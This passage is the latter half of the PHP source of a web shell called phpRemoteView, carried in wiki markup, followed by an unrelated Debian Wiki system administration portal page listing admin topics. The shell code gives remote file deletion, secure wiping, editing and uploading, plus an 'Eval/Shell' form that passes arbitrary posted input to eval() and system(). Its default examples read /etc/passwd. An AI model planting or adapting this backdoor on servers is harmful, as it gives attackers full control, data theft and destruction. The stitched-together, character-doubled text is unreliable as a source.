3. <input type=checkbox name=df2 value=1 id=df2 checked>{{{
  <label for=df2>create file name automatic</label>
  &nbsp;&nbsp;OR&nbsp;&nbsp;
  type any file name:
  <input name=df3 size=20><br>
}}}
4. <input type=checkbox name=df4 value=1 id=df4>{{{
  <label for=df4>convert file name to lovercase</label><br>
}}}
<input type=submit value='Send File'>
</form>";


break;



case "delete":
{{{
   if (!$write_access) exitw();
}}}
{{{
   if (!isset($c2)) exit("err# delete 1");
   if (!isset($confirm) |||| strlen($confirm)<3) exit("Confirm not found (go back and set checkbox)");
   echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>back to directory</b> &gt;&gt;&gt;</nobr></a><p>";
   if (!isset($d) |||| !isset($f) |||| !@file_exists($d.$f) |||| !@realpath($d.$f))
      exit("Delete cancel - File not found");
   if (realpath(getenv("SCRIPT_FILENAME"))==$d.$f && !isset($delete_remview_confirm))
      exit("Do you want delete this script (phpRemoteView) ???<br><br><br><br>
      <a href='$self?c=delete&c2=$c2&confirm=delete&d=".urlencode($d)."&f=".urlencode($f)."&delete_remview_confirm=YES'>[YES, DELETE <b>ME</b>]</a>
       &nbsp; &nbsp; &nbsp;
      <a href='javascript:history.back(-1)'>[NO (back)]</a>");
}}}
{{{
   switch ($c2) {
   case "delete":
       //exit("$d $f");
       ob();
       if (!unlink($d.$f))
          obb().exit("<font color=red><b>Delete cancel - ACCESS DENIED</b></font>$obb");
       Header("Location: $self?c=l&d=".urlencode($d));
       echo "<P><a href=$self?c=l&d=".urlencode($d).">done (go back)!</a><p>";
       echo "Delete ok";
       break;
   case "touch":
       ob();
       if (!touch($d.$f))
          obb().exit("<font color=red><b>Touch cancel - ACCESS DENIED</b></font>$obb");
       Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
       echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">done (go back)!</a><p>";
       echo "Touch ok (set current time to 'modify time')";
       break;
   case "clean":
       ob();
       $fi=fopen($d.$f,"w+") or
          obb().exit("<font color=red><b>Clean (empty file) cancel - ACCESS DENIED</b></font>obb");
       ftruncate($fi,0);
       fclose($fi);
       Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
       echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">done (go back)!</a><p>";
       echo "Clean ok (file now empty)";
       break;
   case "wipe":
       $size=filesize($d.$f);
       ob();
       $fi=fopen($d.$f,"w+") or
          obb().exit("<font color=red><b>Wipe cancel - access denied</b></font>$obb");
       $str=md5("phpspbru".mt_rand(0,999999999).time());
       for ($i=0; $i<5; $i++) $str.=$str; // strlen 1024 byte
       for ($i=0; $i<intval($size/1024)+1; $i++) fwrite($fi,$str);
       fclose($fi);
       ob();
       if (!unlink($d.$f))
          obb().exit("err# delete 2 - file was rewrite, but not delete...(only write access, delete disable)$obb");
       Header("Location: $self?c=l&d=".urlencode($d));
       echo "<a href=$self?c=i&d=".urlencode($d).">done (go back)!</a><p>";
       echo "Wipe ok (file deleted)";
       break;
   }
}}}
{{{
   //Header("Location: $self?c=l&d=".urlencode(dirname($df)));
   //echo "<a href=$self?c=i&d=".urlencode(dirname($df)).">SAVE NEW FILE DONE (go back)!</a>";
}}}
{{{
   break;
}}}


case "dirdelete":
{{{
   if (!$write_access) exitw();
}}}

function dir_delete($df) {{{{
   echo "<b>".basename($df)."</b><ul>";
   if ($dir=opendir($df)) {
      $i=0;
      while (($file=readdir($dir))!==false) {
         if ($file=="." |||| $file=="..") continue;
         if (is_dir("$df/$file")) {
            dir_delete($df."/".$file);
         }
         else {
            echo "$file<br>";
            echo "DELETE <tt>$df/$file</tt> ...<br>";
            unlink($df."/".$file);
         }
         $i++;
      }
      //if ($i==0) echo "-empty-<br>";
   }
   closedir($dir);
   echo "</ul>";
   echo "DELETE DIR <tt>$df</tt> ...<br>";
   rmdir("$df/$file");
}}}
}
{{{
   if (!isset($c2)) exit("error dirdelete 1");
   if (!isset($confirm)) exit("Please set confirm!");
   $df="$d";
}}}
{{{
   switch ($c2) {
}}}
{{{
      case "files":
         echo "<h3>Deleting all files in <tt>$df</tt> ...</h3>";
         if ($dir=opendir($df)) {
            while (($file=readdir($dir))!==false) {
                if ($file=="." |||| $file=="..") continue;
                if (is_dir($df.$file)) {
                   echo "<big><tt><b>>$file</b></tt></big> skip: ".filetype($df.$file)."<br>";
                }
                elseif (is_file($df.$file)) {
                   echo "<big><tt><b><font color=red>$file</font></b></tt></big> deleting...";
                   unlink($df.$file);
                   echo "<br>";
                }
                else {
                   echo "<big><tt><b>$file</b></tt></big> skip: ".filetype($df.$file)."<br>";
                }
            }
         }
         closedir($dir);
         $ref="$self?c=l&d=".urlencode($d);
         break;
   
      case "dir":
         echo "<h3>Deleting all dir/files (recursive) in <tt>$df</tt> ...</h3>";
         dir_delete($df);
         $ref="$self?c=l&d=".urlencode(realpath($d."/.."));
         break;
   }
   //header("Location: $ref");
   echo "<p><a href=$ref>DONE, go back</a>";
   break;
}}}

case "copy":
{{{
   if (!$write_access) exitw();
}}}
{{{
   if (!isset($from) |||| !@file_exists($from) |||| !@realpath($from))
      exit("err# copy 1, file [$from] not found");
   if (!isset($to) |||| strlen($to)==0)
      exit("err# copy 2, file [$to] not found");
   echo "Copy: ....<hr size=1 noshade>";
   if (!copy($from,$to)) {
      echo "<hr size=1 noshade><font color=red><b>Error!</b></font><p>";
      echo "View <a href=$self?c=l&d=".urlencode(dirname($from)).">".dirname($from)."<p>";
   }
   else
      echo "DONE!<p>";
      echo "View <a href=$self?c=l&d=".urlencode(dirname($from)).">".dirname($from)."</a> (dir 'from')<p>";
      echo "View <a href=$self?c=l&d=".urlencode(dirname($to)).">".dirname($to)."</a> (dir 'to')<p>";
   break;
}}}




case "e": // edit
{{{
   if (!$write_access) exitw();
}}}
{{{
   if (!@realpath($d.$f) |||| !file_exists($d.$f)) exit("file not found");
   echo $GLOBALS['html'];
   up($d,$f);
   echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>back to directory</b> &gt;&gt;&gt;</nobr></a>";
   up_link($d,$f);
   $msg="";
   if (!is_file($d.$f) |||| !$fi=@fopen($d.$f,"r+")) $msg=" (<font color=red><b>ONLY READ ACCESS (don't edit!)</b></font>)";
   else fclose($fi);
   if (!is_file($d.$f) |||| !$fi=@fopen($d.$f,"r")) $msg=" (<font color=red><b>Can't READ file - access denied (don't edit!)</b></font>)";
   else fclose($fi);
   if ($msg=="") $msg="(<font color=#009900><b>full read/write access</b></font>)";
   echo "<p><b>EDIT FILE</b> $msg<p>";
}}}
{{{
   if (!$fi=@fopen($d.$f,"r")) exit("cant' open, access denied");
   echo "<form action=$self method=post>
   <input type=hidden name=c value=e_submit>
   <input type=hidden name=d value=\"".htmlspecialchars($d)."\">
   <input type=hidden name=f value=\"".htmlspecialchars($f)."\">
   <textarea name=text cols=70 rows=20 style='width: 100%;'>".
   htmlspecialchars(fread($fi,filesize($d.$f)))."</textarea><p>
   <input type=submit value=' SAVE FILE (write to disk) '>
   <input type=checkbox name=confirm value=1 id=conf>
   <label for=conf><font color=red><b><= set confirm,
      then press 'save'...</b></font></label>
   </form>";
}}}
{{{
   break;
}}}


case "e_submit":
{{{
   if (!$write_access) exitw();
}}}
{{{
   if (!realpath($d.$f) |||| !file_exists($d.$f)) exit("file not found");
   if (!isset($text)) exit("err# e_submit 1");
   if (!isset($confirm)) exit("Set CONFIRM CheckBox!");
   if (!$fi=@fopen($d.$f,"w+")) exit("access denied");
   fwrite($fi,$text);
   fclose($fi);
   Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
   echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">SAVE DONE (go back)!</a>";
}}}
{{{
   break;
}}}



case "newfile_submit":
{{{
   if (!$write_access) exitw();
}}}
{{{
   if (!isset($text) |||| !isset($df)) exit("err# newfile_submit 1");
   if (!isset($confirm)) exit("Set CONFIRM CheckBox!");
   if (!$fi=@fopen($df,"w+")) exit("access denied, can't create/open [$df]");
   fwrite($fi,$text);
   fclose($fi);
   Header("Location: $self?c=l&d=".urlencode(dirname($df)));
   echo "<a href=$self?c=i&d=".urlencode(dirname($df)).">SAVE NEW FILE DONE (go back)!</a>";
   break;
}}}


case "fileupload_submit":
{{{
   if (!$write_access) exitw();
   if (!isset($df)) exit("err# newfile_submit 1");
   if (!isset($df3)) exit("err# newfile_submit 2");
}}}
{{{
   $fname="";
   if (isset($df2)) {
      if (!preg_match("~([^/]+)$~",$HTTP_POST_FILES['userfile']['name'],$ok)) {
         exit("Upload failed: can't detect file name");
      }
      $fname=$ok["1"];
   }
   else {
      $fname=$df3;
   }
   if ($fname=="")
     exit("You mast checked 'create file name automatic' OR typed file name!");
   if (isset($df4)) $fname=strtolower($fname);
}}}
{{{
   echo "Temp file: ".$HTTP_POST_FILES['userfile']['tmp_name']."<br>";
   echo "Origin file name: ".$HTTP_POST_FILES['userfile']['name']."<br>";
   echo "File size: ".$HTTP_POST_FILES['userfile']['size']."<br>";
   if ($df[strlen($df)-1]!="''") $df.="''";
   echo "SAVING TO: <font color=blue>$df</font><font color=red><b>$fname</b></font><p>";
}}}
{{{
   ob();
   $ok=copy($HTTP_POST_FILES['userfile']['tmp_name'],"$df$fname");
   obb();
   if (!$ok) exit("<font color=red><b>Sorry, access denied</b></font> $obb");
}}}
{{{
   if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
   Header("Location: $ref");
   echo "<a href='$ref'>NEW FILE SAVED</a>";
  
   break;
}}}


case "newdir_submit":
{{{
   if (!$write_access) exitw();
   if (!isset($df)) exit("err# newdir_submit 1");
   ob();
   if (!mkdir($df,$mkdir_mode)) {
      obb();
      exit("Access denied $obb");
   }
   obb();
   if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
   Header("Location: $ref");
   echo "<a href='$ref'>Go to new directory!</a>";
}}}
{{{
   break;
}}}


case "t":
{{{
   echo "<h3>
   <a href='$self'>START PAGE</a> ||
   <a href='$self?c=t'>Eval/Shell</a>
   </h3>";
}}}
{{{
   if (!$write_access) exitw();
   error_reporting(2038);
}}}
{{{
   if (!isset($php)) {
      $php="''''' line 1 '''''\n\n// for example, uncomment next line:\nphpinfo();\n\n//readfile(\"/etc/passwd\");\n\n/''' line 8 '''/";
      $skipphp=1;
      $pre='checked';
      $nlbr='';
      $xmp='';
      $htmls='checked';
   }
}}}
{{{
   echo "<b>Eval PHP code</b> (don't type \"&lt;?\" and \"?&gt;\")
}}}
<form action=$self method=post>
<input type=hidden name=c value=t>
<textarea name=php rows=10 cols=60 style='width:100%;'>$php</textarea>
<input type=checkbox name=pre value='checked' $pre id='pre'>{{{
   <label for='pre'> add &lt;pre&gt;</label><br>
}}}
<input type=checkbox name=xmp value='checked' $xmp id='xmp'>{{{
   <label for='xmp'> add &lt;xmp&gt;</label><br>
}}}
<input type=checkbox name=htmls value='checked' $htmls id='htmls'>{{{
   <label for='htmls'> add htmlspecialchars()</label><br>
}}}
<input type=checkbox name=nlbr value='checked' $nlbr id='nlbr'>{{{
   <label for='nlbr'> add nl2br()</label><br>
}}}
<input type=submit></form>
<P><hr size=1 noshade>";
{{{
   if (!isset($skipphp)) {
      echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
      if ($pre<>'') echo "<pre>";
      if ($xmp<>'') echo "<xmp>";
      if ($nlbr<>'' |||| $htmls<>'') {
         ob_start();
      }
      eval($php);
      if ($nlbr<>'' |||| $htmls<>'') {
         $tmp=ob_get_contents();
         ob_end_clean();
         if ($htmls<>'') $tmp=htmlspecialchars($tmp);
         if ($nlbr<>'') $tmp=nl2br($tmp);
         echo $tmp;
      }
      if ($xmp<>'') echo "</xmp>";
      if ($pre<>'') echo "</pre>";
      echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
   }
}}}
echo "</table></table></table></table></table></table></table></table>
</table></center></table><hr size=1 noshade>";
{{{
   if (!isset($shell)) {
      $shell="#example (remove comments '#'): \n\n#cat /etc/passwd;\n\n#ps -ax\n\n#uname -a";
      $skipshell=1;
   }
   echo "<P><b>Shell commands</b>
}}}
<form action=$self method=post>
<input type=hidden name=c value=t>
<textarea name=shell rows=10 cols=60 style='width:100%;'>$shell</textarea><br>
<input type=submit></form>
<P><hr size=1 noshade>";{{{
   if (!isset($skipshell)) {
      echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<xmp>";
}}}
{{{
      system($shell);
      echo "</xmp>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
   }
}}}
echo "
</table></table></table></table></table></table></table></table>
</table></center><hr size=1 noshade>

";
{{{
   break;
}}}



}


?>



--------------------------------------------------------------------------------



{{{
   
}}}
CategoryPortal | CategorySystemAdministration

Translation(s): বাংলা - English - Español - فارسی (Persian) - Français - Indonesia - Italiano - 한국어 - Melayu - Português (Brasil) - Русский(Russian) - Svenska - Українська


Portal/IDB/icon-wiki-portal.png

Debian Wiki System Administration portal - This portal covers all aspects of administering Debian GNU/Linux systems, including installation, package management, configuration, monitoring and security.

Quick access

 

Portal/IDB/icon-backup-32x32.png Backup And Recovery
Portal/IDB/icon-floppy-32x32.png Boot process
Portal/IDB/icon-configure-32x32.png Configuring systems
Portal/IDB/icon-drive-cdrom-32x32.png Installation
Portal/IDB/icon-kernel-32x32.png Kernel
Portal/IDB/icon-monitor-32x32.png Monitoring
Portal/IDB/icon-chipset-32x32.png Hardware

Portal/IDB/icon-apt-32x32.png Package management
Portal/IDB/icon-printer-32x32.png Printing
Portal/IDB/icon-backup-32x32.png Rescue
Portal/IDB/icon-security-32x32.png Security and Reliability Management
Portal/IDB/icon-community-32x32.png Users and Groups Management
Portal/IDB/icon-emulator-32x32.png Virtualization
Portal/IDB/icon-display-32x32.png X system
Portal/IDB/icon-hdd-32x32.png Storage and file systems


Wiki pages

Portal refactoring/merging in progress below this point

List of pages related to System Administration in Debian:

  1. AdministrationTools
  2. AptCacherNg
  3. AptConfiguration
  4. AutomatedUpgrade
  5. Backup
  6. BackupAndRecovery
  7. BackupAndRecoveryWork
  8. Bash
  9. BootProcess
  10. BootProcessSpeedup
  11. ChildProcess
  12. Cloud/AmazonEC2DebianInstaller
  13. Cloud/AmazonEC2Image
  14. Cloud/GoogleComputeEngineImage
  15. Cloud/SystemsComparison
  16. Cloud/TorqueCluster
  17. Cloud/WindowsAzureImage
  18. CommandLine
  19. CommandsCLI
  20. ConfigPackages
  21. Console
  22. Cron
  23. Cryptography
  24. DDNS
  25. DHCP_Server
  26. DatabaseServers
  27. DebianAlternatives
  28. DebianEdu/Documentation/ITIL
  29. DebianEdu/Documentation/ITIL/AllInOne
  30. DebianEdu/Documentation/ITIL/InfrastructureSetup
  31. DebianEdu/Infrastructure
  32. DebianFirewall
  33. DebianHosting
  34. DebianInstaller/SataRaid
  35. DebianInstaller/SoftwareRaidRoot
  36. DebianKVMGuests
  37. DebianKernel
  38. Debian_Systems_Administration_for_non-Debian_SysAdmins
  39. DefaultPrograms
  40. DiskFreeSpace
  41. Doas
  42. Docker
  43. DontBreakDebian
  44. Dovecot
  45. DrBd
  46. DualBoot
  47. Duplicity
  48. EVMS
  49. EnvironmentVariables
  50. Exim
  51. Ext4
  52. F2FS
  53. FAI
  54. FTP
  55. FileSystem
  56. FilesystemHierarchyStandard
  57. FingerprintAuthentication
  58. Firewalls
  59. Hibernation
  60. HostingControlPanels
  61. KVM
  62. Kernel
  63. LDAP
  64. LDAP/AutoFSSetup
  65. LDAP/ExampleEntries
  66. LDAP/Kerberos
  67. LDAP/LDAPUtils
  68. LDAP/MigrationTools
  69. LDAP/OpenLDAPSetup
  70. LDAP/PAM
  71. LDAP/PowerDNSSetup
  72. LDAP/phpldapadmin
  73. LVM
  74. LXC
  75. LaMp
  76. Linux volume management
  77. LinuxRaidForAdmins
  78. Locale
  79. MDA
  80. MaildirConfiguration
  81. Memory
  82. Multiarch/HOWTO
  83. NFSServerSetup
  84. NTP
  85. NetworkConfiguration
  86. NetworkInterfaceNames
  87. NetworkMonitoring
  88. NotEnoughRAM
  89. OpenNebula
  90. OpenStack
  91. OpenVz
  92. PackageKit/ItemNotFound
  93. PackageManagement
  94. Part-UUID
  95. Parted
  96. Partition
  97. Permissions
  98. Piwik
  99. Podman
  100. PolicyKit
  101. ProxyAutodetectConf
  102. PuppetDashboard
  103. QEMU
  104. RamDisk
  105. Redmine
  106. RemoteDesktop
  107. Root
  108. Samba
  109. Samba/BuildingALinuxDomain
  110. Samba/ClientSetup
  111. Samba/DcWithLdapBackend
  112. Samba/Dirvish
  113. Samba/FreeRadiusToLdap
  114. Samba/LinuxDomainClients
  115. Samba/ServerSimple
  116. Samba/WindowsPginaClient
  117. SecurityManagement
  118. ServicesHosting
  119. Shell
  120. ShellCommands
  121. ShellConfiguration
  122. ShellToolTricks
  123. ShellTricks
  124. SoftwareRAID
  125. Storage
  126. Swap
  127. SymLink
  128. SystemAdministration
  129. SystemBootProcess
  130. SystemConfiguration
  131. SystemDowngrade
  132. SystemGroups
  133. SystemInstall
  134. SystemMonitoring
  135. SystemPrinting
  136. SystemVirtualization
  137. Teams/DSA
  138. TheUnixWay
  139. ThomasChung/CloudImage
  140. ThomasChung/Linode
  141. ThomasChung/WebConsole
  142. ThomasChung/virsh-snapshot
  143. TimeZoneChanges
  144. TrafficControl
  145. TroubleShooting
  146. UnattendedUpgrades
  147. UserAccounts
  148. UserPrivateGroups
  149. UsersAndGroups
  150. UsingPhusionPassengerWithPuppetmaster
  151. WHEEL/PAM
  152. WakeOnLan
  153. WebServers
  154. WhereIsIt
  155. WindowsServerHyperV
  156. Wvdial
  157. Xorg
  158. Zg2ShellStartup
  159. bn/LaMp
  160. bn/SystemAdministration
  161. coreutils
  162. deb
  163. debconf
  164. device_node
  165. euca2ools
  166. fstab
  167. git
  168. iptables
  169. libvirt
  170. libvirt/xen
  171. ms/SystemAdministration
  172. msmtp
  173. nftables
  174. nginx/FastCGI
  175. nspawn
  176. nullmailer
  177. nut
  178. pamusb
  179. partclone
  180. rootfs
  181. sudo
  182. systemd/Services
  183. udev
  184. zh_CN/LAMP
  185. zh_CN/PackageManagement


CategoryPortal | CategorySystemAdministration